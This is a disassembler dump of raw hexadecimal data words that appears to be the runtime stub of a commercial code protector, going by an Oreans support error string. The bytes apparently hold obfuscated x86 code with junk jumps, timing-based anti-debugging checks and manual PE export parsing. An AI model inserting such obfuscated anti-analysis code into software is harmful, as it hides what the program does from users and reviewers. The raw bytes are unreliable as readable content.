		dd 0A1DFBB60h, 0BE84200h, 87000000h, 98E4D674h,	9A47BB93h
		dd 615913B4h, 7892858Bh, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 680EA5C3h, 78C43AF8h
		dd 0B58DCAE4h, 64B7798h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 13C35242h, 1A1A5A3Dh,	0F60F15Ah, 0D88BD7BFh
		dd 1870F61h, 0F8000000h, 47B4858Dh, 6A064Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FFD24CC3h
		dd 8589F8D0h, 64B716Dh,	8E9h, 0F8045500h, 1FDDD896h, 8060616Dh
		dd 55B2D8F3h, 6D858B61h, 0F9064B71h, 6AC3F8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0AE93BC3h
		dd 22000000h, 60B2888h,	0CD819B71h, 6A6048h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F96501C3h
		dd 7E960h, 33D70000h, 0DB3AE906h, 6870FD8h, 0F000000h
		dd 8Ch,	0BD836100h, 64B7892h, 69850F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 773DC351h, 0FA99770Bh, 0F807DF31h, 9285C7FCh, 3F064B78h
		dd 6A000101h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0AB0CC353h, 0B9606A74h, 11380BE8h
		dd 61C8BF0Fh, 0A8A0Fh, 8B600000h, 890FF3h, 61000000h, 44E9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 88BE09ABh, 0F5EE9174h, 1B830Fh, 0E9600000h
		dd 0Fh,	0AE6F4F31h, 0E1E2868Ch,	8FA597F3h, 66275AA8h, 1BA8D881h
		dd 20CD61h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 64B7175h
		dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 64B7171h, 7F34583Bh
		dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 64B716Dh, 8B04EBh
		dd 8B61C5EBh, 4B716D85h, 6ACF06h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E92AEBC3h, 5, 90E3458h
		dd 12E91Bh, 5B4D0000h, 78E75754h, 70913EB1h, 25EB9426h
		dd 0A7078D69h, 0DE8C08Bh, 49000000h, 589A6326h,	1337B4DEh
		dd 9A4CBBBAh, 6E9h, 514DE300h, 5EF030DCh, 81FABF0Fh, 7296C6h
		dd 6E85200h, 92000000h,	0D5B56731h, 5E997h, 944E0000h
		dd 5A7F0A73h, 1C6E6858h, 0BF0F0000h, 81665BC2h,	8B2D6DEAh
		dd 84C2800Eh, 282F181h,	0CE96DC0h, 6B000000h
		dd 971A6958h, 8950C642h, 81C14E37h, 90C4BBF1h, 0F181F964h
		dd 238F3EB4h, 0E0A9BDBFh, 8D0F5151h, 0
		dd 0AE9068Fh, 1B000000h, 4FBEE627h, 5CB78012h, 0AEE81CCh
		dd 8A4A00C2h, 6C681C2h,	0F4A00C2h, 83h,	1EB8300h, 13850Fh
		dd 0D4BF0000h, 0E9404802h, 2Dh,	0CB7CFFCCh, 30D942F0h
		dd 14E957h, 59810000h, 5BF3E5BBh, 4328B0C2h, 4F69D768h
		dd 0B9DB2197h, 6CE9612Ah, 6AFFFFFFh, 0D8EF32E0h, 83E9CCh
		dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh
		dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h
		dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h
		dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h,	3178B1Ch
		dd 83202454h, 28A04C7h,	874C084h, 0E875033Ah, 0F2EB4243h
		dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h,	5E5F1C24h
		dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh, 0Eh
		dd 9FFCD22Dh, 6D2B2983h, 0A65AF135h, 8B66232Ch,	0DE95EFBh
		dd 0F9000000h, 10097572h, 0C5C671EBh, 84539A84h, 5BDFC681h
		dd 0BAB60000h, 68h, 0C8CA8100h,	5B4EE375h, 1E0C8BF8h, 0AB7AC7B8h
		dd 0DCC18113h, 0E964E83Eh, 12h,	42E0DA5Ah, 0ABFC9EE9h
		dd 0DE83084h, 9DE983DFh, 0C181420Dh, 431F87CAh,	0E981C18Bh
		dd 60CD3F68h, 45705BB8h, 8FF55177h, 11E91E04h, 3E000000h
		dd 0B48FE166h, 0F3628176h, 0E2A867EEh, 0E3767663h, 83D3B70Fh
		dd 850F04EBh, 4, 0E10DBF66h, 0A4C8FB81h, 850FFFFFh, 0FFFFFF91h
		dd 0E9D0BF0Fh, 400h, 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 10h
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
		dd 110BE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0C5858B40h, 6A064827h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 7F2DC350h, 4439F506h, 850F0424h, 36h, 0BDBD83F8h, 64808h
		dd 28840Fh, 8DFC0000h, 4838BA85h, 0E0FFF806h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0ADC35343h, 858B208Fh
		dd 6482F2Dh, 58E0F60h, 66000000h, 0E18DD281h, 12E9h, 53E3DF00h
		dd 578145BFh, 67542B0Ah, 0D16B5FEh, 61E0FCCDh, 0EC99529h
		dd 44390648h, 850F0424h, 2Ch, 0CE9h, 0ED066F00h, 5EEA56D3h
		dd 0F46B0380h, 3B85C7E5h, 1064B7Fh, 0E9000000h,	0Ch, 0ECED296Dh
		dd 0D43DBD6Ah, 0F917793h, 0F19D3160h, 0E9064822h, 39h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 2EC35343h
		dd 0F8005639h, 0F2C53E2h, 683h,	0F1952900h, 29064805h
		dd 4815358Dh, 6, 1B800h, 85870000h, 64B806Ch, 0F675C00Bh
		dd 0FF9B5FFh, 858F0648h, 64B7F33h, 0FF6A206Ah, 203995FFh
		dd 0BD830648h, 6480ABDh, 6A087400h, 2D95FF00h, 83064809h
		dd 4805B5BDh, 0D740106h, 8068h,	0FFFF6A00h, 48203995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 8509FC42h, 6480A0Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 6BC35343h, 48A4AF5Dh, 8589DDF2h
		dd 6480BFDh, 659D8B60h,	8B064828h, 48151595h, 0B86106h
		dd 9000000h, 482F519Dh,	24548B06h, 9D896028h, 64805F9h
		dd 7E8h, 39C40100h, 5B83F19Ch, 164D9D0Bh, 615F0648h, 10858589h
		dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 92E390C3h, 0B4C9773Bh, 880F9BD8h,	6, 1595BD89h
		dd 3CBE0648h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 9551C355h, 0C64727A2h
		dd 0E9EB5FC3h, 6, 0ED889D72h, 3F80515h,	0F242474h, 68Ah
		dd 6D958900h, 6606480Fh, 52006AADh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 384256Ch, 0F242444h, 0C8Dh
		dd 6810F00h, 89000000h,	4814A98Dh, 14E99006h, 0BC000000h
		dd 0EB1F2BB3h, 0F7C48786h, 0F2CD53D9h, 0D0ADED90h, 50120319h
		dd 9E95250h, 0E4000000h, 2C26DE6h, 1BE2B09Ch, 5250310Fh
		dd 310F6160h, 310F5250h, 585A585Ah, 6A90585Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 35AC353h, 0DCAE7FC5h, 6810F07h, 89000000h, 480D158Dh
		dd 408BF806h, 2DBD8978h, 8306480Ah, 4B7F3BBDh, 850F0006h
		dd 0FAh, 9E9h, 7F6E400h, 4A5C3506h, 0F9070DAh, 1B85h, 0BA666000h
		dd 0FE8A333h, 0E4000000h, 7397416Ch, 0D6E7A5BFh, 0FE82245h
		dd 615FEA04h, 0BBB46050h, 0AE8h, 9C501300h, 644A4E7Eh
		dd 0FA087E2h, 89h, 90615800h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 12C35040h, 16E2A64h, 48005995h
		dd 13E906h, 1B2C0000h, 11729D8Ch, 54E1DD72h, 0FB40F795h
		dd 6837539Bh, 24448BFBh, 5090F52Ch, 61606052h, 0F61A3B7h
		dd 6850F31h, 0F000000h,	8Eh, 50585A00h,	10E9h, 9E9E3B00h
		dd 13D4BD8Bh, 3DEA7F21h, 29E8ECEBh, 60609052h, 0AE8h, 8447D500h
		dd 5C67529Ch, 5A906DDCh, 2371850Bh, 9610648h, 480655B5h
		dd 858D6106h, 64B4856h,	2E958529h, 0D0FF0648h, 899D8B60h
		dd 8B064816h, 480D758Dh, 44036106h, 60602824h, 93B2D181h
		dd 0BD294461h, 6482405h, 850F5261h, 0
		dd 800F615Bh, 1, 18408BF8h, 10998D89h, 0F8400648h, 7F378589h
		dd 870F064Bh, 6, 1A618509h, 95890648h, 64827FDh, 0DE958h
		dd 61600000h, 0CD9B637h, 4753AB89h, 8B40B1A2h, 8D897870h
		dd 6481AB5h, 0E91CC683h, 14h, 79D5EFE5h, 935D4744h, 0A86F792Eh
		dd 6D19C2BAh, 0B5E6FCEBh, 0AE996h, 1E280000h, 0BE4E6ADFh
		dd 3E88B867h, 24247C81h, 10000000h, 0D8870Fh, 90FC0000h
		dd 0CE9h, 7B578800h, 67103562h,	0B3678F2Ah, 6E95064h, 42000000h
		dd 0F78E9C40h, 6A9073h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0EC904BC3h, 0E9D9A21Fh, 0Dh, 4FB4969Ch
		dd 3A9C828h, 8DDC7CE2h,	6E95Ch,	8B240000h, 0B95F21F3h
		dd 2824448Bh, 0AE9h, 8F20F700h,	26DD29FDh, 60B1E03Fh, 0F219589h
		dd 858B0648h, 6480EEDh,	13E95061h, 1E000000h, 4E96815h
		dd 0BD55D29Ch, 8318A68Eh, 0D8B1AAF0h, 4897EEEh,	99B52924h
		dd 2906480Bh, 48200185h, 56858D06h, 89064B48h, 481851BDh
		dd 6AD0FF06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 44C9C356h, 0EE92FC97h,	6A96BD70h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0A626C353h, 30CB6A0h, 6A242474h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 8299C353h, 0FCDD4F8Fh, 8D014410h, 6481B75h, 1AC1BD8Dh
		dd 0BD290648h, 6480065h, 8870FADh, 0F000000h, 28Dh, 81616000h
		dd 24247Ch, 0F100000h, 10387h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 95160DA9h
		dd 53361E41h, 6E95020h,	94000000h, 2364116Ch, 240489BBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0CDC35545h
		dd 0C28BF5h, 29B58B60h,	89064813h, 480759B5h, 448B6106h
		dd 6A2824h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0A834A2C3h, 1860Fh, 90F90000h, 14E860h, 95B70000h
		dd 47F138E8h, 0DB537F20h, 0F2EE04D3h, 6D9EA873h, 8A0F83EAh
		dd 0
		dd 61F98B5Eh, 4860F50h,	60000000h, 9061FE8Bh, 12F99589h
		dd 858D0648h, 64B4856h,	1F800Fh, 840F0000h, 19h, 14E9h
		dd 42E87F00h, 0EB669821h, 947905FFh, 1FB37044h,	0C90613E3h
		dd 858960B5h, 6481365h,	26ED9589h, 0FF610648h, 1890FD0h
		dd 0F9000000h, 24244403h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0E5C35242h, 0D3211FC1h, 314A832Ah, 481A898Dh
		dd 6AAB06h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0E0FD64C3h, 0C58D894Fh, 0E9064805h, 0Ah
		dd 0DC266D1h, 0A0CCF7C1h, 0FA81C75Ch, 10000h, 73D820Fh
		dd 85010000h, 6482BF9h,	32D9BD8Dh, 6A0648h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7EF057C3h
		dd 81BD893Ah, 0AD06480Dh, 142DBD09h, 7C810648h,	2424h
		dd 870F1000h, 11Eh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 4FC35040h, 1C7B9926h,	60909288h, 32B1D1BFh
		dd 7E804h, 6260000h, 22395226h,	5BD58A54h, 52505061h, 61605250h
		dd 5250310Fh, 585A310Fh, 310F585Ah, 0BE9h, 0B521A900h
		dd 15A525EFh, 0DDE07B8Dh, 6A90585Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 45DC350h
		dd 0A5953140h, 29064823h, 4817B99Dh, 24448B06h,	519D8928h
		dd 5006481Ch, 0CE9h, 0AE40A400h, 0F1D9059Fh, 0E7A49C36h
		dd 240489FFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0AAC35747h, 2DEFE4Eh, 60E5F2A0h, 58F0Fh, 40BF0000h
		dd 61531B10h, 4856858Dh, 7E9064Bh, 0CD000000h, 0C4A1D45Bh
		dd 8E0FA059h, 6, 2A098501h, 0D0FF0648h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 0FAC35040h, 5A068206h
		dd 29ED8589h, 44030648h, 95892424h, 6482B89h, 0FE950h
		dd 442A0000h, 0CC0A4E3Eh, 1355B045h, 4E42CFD0h,	24048926h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 89C35242h
		dd 2D6B5A14h, 60F77A1Ch, 14018D8Bh, 0AB610648h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 90C35545h, 4BB70585h
		dd 12E9h, 0F91E7A00h, 53E14228h, 744705D5h, 0F815AE16h
		dd 8D13B621h, 480881BDh, 659D8906h, 0AD064833h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 72C35141h, 358133C8h
		dd 6D59D29h, 7C810648h,	2824h, 870F1000h, 0B4h,	7E9h, 55AD600h
		dd 2ADA4456h, 8B666090h, 8C0FFBh, 61000000h, 50525050h
		dd 840F52h, 0F000000h, 5A616031h, 0F310F58h, 68Ah, 8D0F00h
		dd 5A000000h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0E56F4CC3h, 2C24448Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 1BC35141h, 899D0969h
		dd 5006482Ah, 0B880Fh, 6E90000h, 0BD000000h, 602C7D02h
		dd 240489D5h, 56858DFCh, 0E9064B48h, 0Bh, 581BE83Eh, 919A12F9h
		dd 898E7C94h, 4805E9B5h, 0F5D0FF06h, 28244403h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B6C35242h, 60B651E7h
		dd 6C247DB9h, 0AD958B20h, 6106480Bh, 0DFD8D01h,	0F8AB0648h
		dd 378DFF5Eh, 83064B7Fh, 4B7F37BDh, 0A750006h, 0B58DC033h
		dd 64B8D18h, 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h
		dd 502C2444h, 4856858Dh, 0D0FF064Bh, 28244403h,	8ADF8B97h
		dd 4B7F3385h, 74C08406h, 75073A04h, 0C032574Ch,	5EFD75AEh
		dd 0FC52FB2Bh, 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah
		dd 8B6D68Ah, 66EBD166h,	973D8D1h, 50413566h, 49F38166h
		dd 75CEFE54h, 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh
		dd 0C18B6610h, 74D03B5Ah, 0C6835E0Fh, 8585FF04h, 0E9064810h
		dd 0FFFFFF5Dh, 0FE95Eh,	0F9EC0000h, 7C6157FEh, 9746045h
		dd 0E3C21471h, 88F0FC4h, 0F000000h, 280h, 8B616000h, 48108585h
		dd 619D3106h, 106481Bh,	4819C995h, 89E0D106h, 4819D5BDh
		dd 81850306h, 6A064808h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 5FC8C350h, 0D25C5D06h
		dd 35B52915h, 0BE064805h, 0
		dd 6A96FCh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0DF32F0C3h, 1E2441Eh, 4811A98Dh, 0B5B58906h
		dd 0F9064827h, 6AAD66h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0CA07AAC3h, 8E0FE2A1h, 6, 9E9BD89h
		dd 0BD010648h, 6480DFDh, 6A02E0C1h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0ACFCC355h
		dd 2B29BD29h, 85030648h, 6481AC1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0A2C35242h,	958912F4h, 64810E1h
		dd 0ADFC96FCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	56C35545h, 4535D941h, 9D01E1CFh, 648083Dh, 24247C81h
		dd 10000000h, 0FC870Fh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 2BB12FC3h, 9C8D9C55h
		dd 0F7F7805h, 18Bh, 0E950F800h,	5, 0F8C7ABBDh, 240489C3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1CC35242h
		dd 1FA9CC2Eh, 18E1F959h, 448BF5F4h, 6A2824h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 90D9BFC3h
		dd 0EE860h, 11F90000h, 87E9FDCFh, 0F6E92A71h, 0C654BC72h
		dd 8B586160h, 605061C8h, 8C0Fh,	90610000h, 56858DF5h, 6A064B48h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 7E65C355h, 51887155h, 89B6B160h, 480AF9B5h
		dd 0D0FF6106h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0C0C35343h, 2C1DBD89h, 44030648h, 6A2424h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 1AB5AAC3h, 0FABB880Bh, 8B0FD3EBh, 1,	6860FFCh, 9000000h
		dd 4801ADBDh, 24448906h, 50006A1Ch, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 79731960h, 0CE9BAh, 8B3F0000h
		dd 77E3230Ch, 0D1576EE1h, 0B58928F0h, 6481335h,	18880Fh
		dd 13E90000h, 0F2000000h, 6D9EA873h, 3E8A83EAh,	0E4C757B4h
		dd 0C8AB97Bh, 85C63410h, 6480FF9h, 6C85C700h, 64B80h, 0C7000000h
		dd 4B7F3B85h, 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0E3E85691h, 5429C2AAh
		dd 9185091Dh, 9064805h,	481EE585h, 6A6106h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2122D4C3h
		dd 95018DF8h, 648203Dh,	6A0008C2h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 2201C350h
		dd 8B16534Ch, 481AC185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 68F0F05h, 89000000h, 481A6985h
		dd 6A4A06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 8D8965C3h, 648109Dh, 2DD9529h, 0D26B0648h
		dd 15858904h, 3064812h,	56006AC2h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 1554E23h, 6AA34FB5h, 6A96342Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 35B5C357h, 3E269AC9h, 7F8229B8h, 51006AADh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0FC2C31A9h, 24247C81h, 10000000h, 15F870Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0E2D7FBC3h, 0A3E26888h, 8E0F890Fh, 0Ah, 89D2B360h, 4830C195h
		dd 50906106h, 58536052h, 5E9h, 61607800h, 0F61B637h, 10830F31h
		dd 0E9000000h, 0Bh, 9C693262h, 52ADA741h, 5AB50D8Eh, 0E8605058h
		dd 0Ah,	374A9339h, 19D413D9h, 12E8BD3Fh, 38000000h, 51DF6B3Ch
		dd 7F7AD49Eh, 635A1C0Dh, 5390F8AEh, 8B5B59DAh, 6A9061FBh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0FD00C353h, 1B918529h, 85890648h,	648071Dh
		dd 2824448Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	90C35747h, 90738BA4h, 5A575160h, 6050615Ah, 0AFFD18B9h
		dd 10E8576Eh, 9C000000h, 34BB029Bh, 934D45C3h, 0B0A0D01Eh
		dd 5B705426h, 6A90615Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0EE1AC356h,	0E9EF6128h
		dd 0Ch,	0F3A68B49h, 8DB98452h, 4E6EE657h, 56858DF8h, 6A064B48h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0B1E9C351h, 31D0FFF9h, 48238985h,	0FC98E906h
		dd 5E9FFFFh, 0F1000000h, 7B3A095Fh, 93DA858Dh, 8D89064Bh
		dd 64826F1h, 870F6090h,	0
		dd 9E960h, 7F7A0000h, 635A1C0Dh, 6690F8AEh, 61C3CEB8h
		dd 0EE95061h, 2A000000h, 0D5CDBC01h, 8F679BDFh,	7A86D45Ah
		dd 85319059h, 6480D31h,	35FF64h, 0F000000h, 885h, 28E0F00h
		dd 60000000h, 24048B61h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0A9C35646h, 0D375DC04h, 0B526433Eh, 14E9CEh
		dd 0BE560000h, 0F7EC083Fh, 83E48F91h, 1468CADCh, 0EA5FBCABh
		dd 6660BF1Dh, 0B8C757BFh, 3765F21Fh, 0D9858961h, 3106480Fh
		dd 481EED95h, 68C0F06h,	29000000h, 482299B5h, 25896406h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A1C35646h
		dd 0C293F10Ch, 858DEB38h, 64B91A2h, 16089F5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 71C35141h, 376B748Ah
		dd 2A2E990h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 3CA6AAC3h, 0A8A0F59h, 0E9000000h
		dd 5, 47346F75h, 0E8DB8B4Dh, 0
		dd 9BED815Dh, 0BC064B91h, 12FF9Ch, 5B5BD83h, 74000648h
		dd 51858B18h, 0C6064815h, 858B0000h, 648289Dh, 0FF0000C6h
		dd 481AD995h, 0B5FF6006h, 64B7B3Fh, 7B43858Dh, 8D50064Bh
		dd 4B7D3B85h, 95FF5006h, 6482861h, 610CC483h, 6870F60h
		dd 8B000000h, 480A25BDh, 48B66006h, 322DB501h, 61610648h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 77C35545h
		dd 0FD8D231h, 68Dh, 0C9B50100h,	8D064811h, 4B7D3BB5h, 5D858906h
		dd 8D064814h, 481CE5BDh, 0AD950106h, 80064827h,	840F003Eh
		dd 66h,	11E9h, 0D61AEE00h, 0D232B532h, 914BFA1Bh, 1C009AFBh
		dd 6AA4921Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 6073C356h, 0DE4ECA92h,	89268152h
		dd 480DFDBDh, 0FFB1E906h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0B2E4A0C3h, 0B840D9h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 39DFC357h, 14EE8E75h, 2E759D29h
		dd 6AAA0648h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0BB7C355h, 18C0Fh, 0E9F80000h
		dd 14h,	36D3CD1Ah, 11A9F6FEh, 18D2711Fh, 57F6B40Fh, 0E5A860A9h
		dd 7B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0A8A96FE0h, 1083AE4h, 11E9h, 8E203000h
		dd 0C38DDB3h, 0CA4D325Eh, 0C02CDD7Fh, 85C745A8h, 6480A55h
		dd 1, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h, 1Ah
		dd 0B5C35747h, 0A1E4250Ch, 8D89A134h, 6481B45h,	4E808D8Dh
		dd 0FFFC0648h, 53006AE1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 296053C6h, 481275BDh
		dd 0CE806h, 2ECD0000h, 5CA8F193h, 0D59E604Fh, 59F5E7A2h
		dd 9D8B6061h, 6481EE5h,	9118D8Bh, 8B610648h, 550C245Ch
		dd 0E8h, 0ED815D00h, 64B93E4h, 0B8838Bh, 85890000h, 64B7B3Fh
		dd 9194858Dh, 8389064Bh, 0B8h, 0C3C0335Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 58C35242h, 9C601D85h
		dd 14E9F5AEh, 8D000000h, 9E32C99Dh, 0C8DAB277h,	948E3B6Bh
		dd 0E8942D33h, 60C8D201h, 1B3DBD8Bh, 8B660648h,	0F6061F1h
		dd 168Eh, 11E900h, 88FD0000h, 0AB50184Dh, 0CF6DB88h, 0BDA0F35Ch
		dd 8D3E312Bh, 4B967585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0E990C362h, 14h, 456347FAh
		dd 2F89F8ADh, 3F4EED63h, 84A02498h, 6437EF17h, 0A880F50h
		dd 50000000h, 0F616052h, 5A616031h, 6A9058h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0B787FFC3h
		dd 18F3D4DDh, 11E946h, 0E99E0000h, 6F7A6422h, 4876AD63h
		dd 225C4D04h, 0E9DA6659h, 12h, 58D70167h, 3B7BFE35h, 2C28537Eh
		dd 0FB3DFA5Dh, 8D290AE6h, 64822B1h, 35FF64h, 0F9000000h
		dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0CC2EC355h,	0F9591FA9h
		dd 9BD09E1h, 8D064820h,	4B96D685h, 91858906h, 89064805h
		dd 6A0160h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 2FE09DC3h, 2FB1EBD0h, 0F985C6F9h,	4F06480Fh
		dd 2FB99589h, 86680648h, 0E9BFA361h, 0Ch, 7D4815FEh, 0FAB15CAAh
		dd 0F93FF519h, 0A4240481h, 6A3F2512h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 2D3FC350h
		dd 0E960E0E8h, 10h, 2B484348h, 0BF522412h, 2595528Ah, 7B92ED3h
		dd 0EE8h, 9D5F2500h, 0E568F153h, 3EBC7C42h, 0F0AE9F6h
		dd 615ED2BFh, 29A9B5FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0F96549C3h, 7F60858Dh
		dd 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0E9707AC3h, 9E01FCFCh, 8978CB04h,	480C9195h
		dd 89D0FF06h, 480D218Dh, 85E906h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B26FA3C3h
		dd 927595E2h, 5C8B5BCDh, 0E8550C24h, 0
		dd 7FED815Dh, 8B064B96h, 480ED585h, 0A9858906h,	8B064829h
		dd 482F2D85h, 0BD858906h, 8B064807h, 4827C585h,	69858906h
		dd 0C606481Ch, 480FF985h, 85C70006h, 64B806Ch, 0
		dd 96D6858Dh, 8389064Bh, 0B8h, 0C3C0335Dh, 890F60h, 0F5000000h
		dd 0BCF5F961h, 12FF74h,	12E9h, 0D9B00h,	85827FC9h, 86B3493Fh
